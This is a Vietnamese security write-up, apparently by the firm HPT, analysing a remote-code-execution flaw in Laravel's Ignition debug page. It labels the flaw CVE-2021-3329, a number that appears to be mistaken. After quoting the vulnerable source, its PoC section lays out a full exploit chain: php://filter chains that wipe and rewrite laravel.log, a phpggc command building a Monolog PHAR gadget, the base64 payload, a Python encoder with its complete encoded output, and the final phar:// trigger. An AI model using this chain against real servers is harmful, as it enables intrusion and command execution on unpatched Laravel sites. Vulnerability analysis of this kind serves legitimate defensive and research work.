HPT phân tích và xây dựng POC khai thác CVE-2021-3329

PHÂN TÍCH CVE-2021-3329

Cách thức khai thác lỗ hổng CVE-2021-3329

[+] Introduction:

CVE này nói về 1 lỗ hổng của của chức năng debug mode trong lavarel famework. Chúng ta có thể RCE thông qua việc dùng protocal phar cho file ./storage/logs/laravel.log

Điều kiện: Laravel <= v8.4.2, Ignition <= 2.5.1 và website đã bật debug mode.

[+] Phân tích:

Đầu tiên là nói về Ignition là công nghệ trình báo lỗi của lavarel, rất tiện lợi cho developer trong việc debug cũng như fix bug của website. Nó sẽ phỏng đoán và đưa ra các solution để fix bug.

Hình 1. Ignition nó sẽ thông báo bug là missing key

Như đã thấy thì Ignition nó sẽ thông báo bug là missing key, và khi chúng ta nhấn vào Generate app key thì nó sẽ tạo tự tạo key cho chúng ta, và chúng ta thử bật burp, để xem gói tin của nó như thế nào.

Hình 2. tìm file GenerateAppKeySolution.php để thực hiện nạp key vào

- Khi nhấn vào nó sẽ tìm file GenerateAppKeySolution.php để thực hiện nạp key vào.

- Nhưng ngoài solution tạo key này, còn có nhiều solution khác:

Hình 3. MakeViewVariableOptionalSolution.php không được ràng buộc kỹ

- Và trong số các solution có MakeViewVariableOptionalSolution.php không được ràng buộc kỹ, cho nên chúng ta có thể exploit chổ này. Và thử phân tích source code bên trong nó.
Đầu tiên ta sẽ xem cách mà controller gọi solution này và chỗ mà chúng ta có thể exploit.
namespace Facade\\Ignition\\Http\\Controllers;
use Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest;
use Facade\\IgnitionContracts\\SolutionProviderRepository;
use Illuminate\\Foundation\\Validation\\ValidatesRequests;
class ExecuteSolutionController
{ use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
Dễ dàng thấy được, khi controller excute 1 solution thì tự động nó sẽ gọi tới run function và biến parameters chúng ta có thể controller. Tương ứng với việc khi call MakeViewVariableOptionalSolution.php thì nó sẽ gọi tới MakeViewVariableOptionalSolution::run().
namespace Facade\\Ignition\\Solutions;

use Facade\\IgnitionContracts\\RunnableSolution;
use Illuminate\\Support\\Facades\\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);

$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);       
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}

protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}

- Trong run function này nó sẽ gọi đến makeOptional function, và chúng ta dễ dàng trigger được phar deserialize thông qua file_get_contents (phar://)
=> Và idea là khi chúng ta truyền giá trị vào $parameters['viewFile'] chẳng hạn như abc thì file log trong laravel sẽ ghi lại thống báo lỗi. thì dự vào đây chúng ta có thể clear file log và convert context của nó thành file phar. Từ đó dùng phar:// protocal để trigger được PHAR DESERIALIZE → RCE.

[+] PoC:

Đầu tiên là clear được file log trong ./storage/logs/laravel.log bằng : file_get_content('php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log')


Hình 4. clear được file log trong ./storage/logs/laravel.log
cat file log:
Hình 5. cat file log

    - Convert context laravel.log theo ý mình muốn, thì phải tìm cái format của file log.


    - Format có file log có đạng:
    [previous log entries]
    [prefix]PAYLOAD[midfix]PAYLOAD[suffix]
    - Đầu tiên là ta sẽ add prefix vào trước:
    Hình 6. add prefix
                                              - Đọc nội dung file log:
                                              • cat file log:

                                              Hình 7. cat file log

                                              • Add payload :  Để thuận tiện hơn ta có thể dùng phpggc tool để tạo payload phar, chuyển sang dạng =50.....=00 để dễ dàng convert context file log.

                                              php -d'phar.readonly=0' ./phpggc monolog/rce1 system 'id' --phar phar -o php://output | base64 -w0

                                              • Tiếp theo dùng File Script Python để chuyển đổi định dạng Payload:

                                              import base64

                                              s = 'PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq9AgAAAgAAABEAAAABAAAAAABmAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToi
                                              ACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e
                                              3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7Tjt9fXM6ODoi
                                              ACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO
                                              2k6MTtzOjY6InN5c3RlbSI7fX1zOjEzOiIAKgBidWZmZXJTaXplIjtpOi0xO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjI6e2k6MDtzOjI6ImlkIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZX
                                              ZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M
                                              6Njoic3lzdGVtIjt9fX0FAAAAZHVtbXkEAAAA7mV5YAQAAAAMfn/YpAEAAAAAAAAIAAAAdGVzdC50eHQEAAAA7mV5YAQAAAAMfn/YpAEAAAAAAAB0ZXN0dGVzdC7JQOoYNhYzrDG
                                              JsjMMr0DhvACeAgAAAEdCTUI='

                                              print(''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper())

                                              //=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45
                                              =00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00
                                              =41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54
                                              =00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=
                                              78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=
                                              00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=
                                              69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=
                                              00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=
                                              4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=
                                              00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31
                                              =00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00
                                              =54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=
                                              00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=
                                              61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=
                                              00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=
                                              00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43
                                              =00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=
                                              00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00
                                              =6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=
                                              64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=
                                              45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=
                                              4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=
                                              51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=
                                              66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=
                                              70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=
                                              5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=
                                              6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00
                                              =64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=
                                              5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=
                                              61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41
                                              =00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F
                                              =00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=
                                              00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00
                                              =6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=
                                              74=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=37=00=6D
                                              =00=56=00=35=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00
                                              =41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=37=00=6D=00=56=00=35=00=59=00=41=00=51
                                              =00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00
                                              =47=00=56=00=7A=00=64=00=43=00=37=00=4A=00=51=00=4F=00=6F=00=59=00=4E=00=68=00=59=00=7A=00=72=00=44=00=47=00=4A=00=73=00=6A=00=4D=00=4D=00=72=00=30=00=44=00=
                                              68=00=76=00=41=00=43=00=65=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=0


                                              Hình 8. dùng code python để chuyển đổi định dạng

                                              • cat file log:

                                              Hình 9. cat file log

                                                • CONVERT CONTEXT LOG TO PHAR :

                                              php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

                                              Hình 10. convert context log to phar

                                              • Đọc nội dung file Log:
                                              cat file log:

                                              Hình 11. cat file log

                                              ⇒ đã thành công

                                              [+] Execute Payload to RCE:

                                              Payload: phar:///src/storage/logs/laravel.log/test.txt

                                              Hình 12. Excute file log để rce

                                              Những công cụ được sử dụng:

                                              • Laravel <= v8.4.2

                                              REFERENCES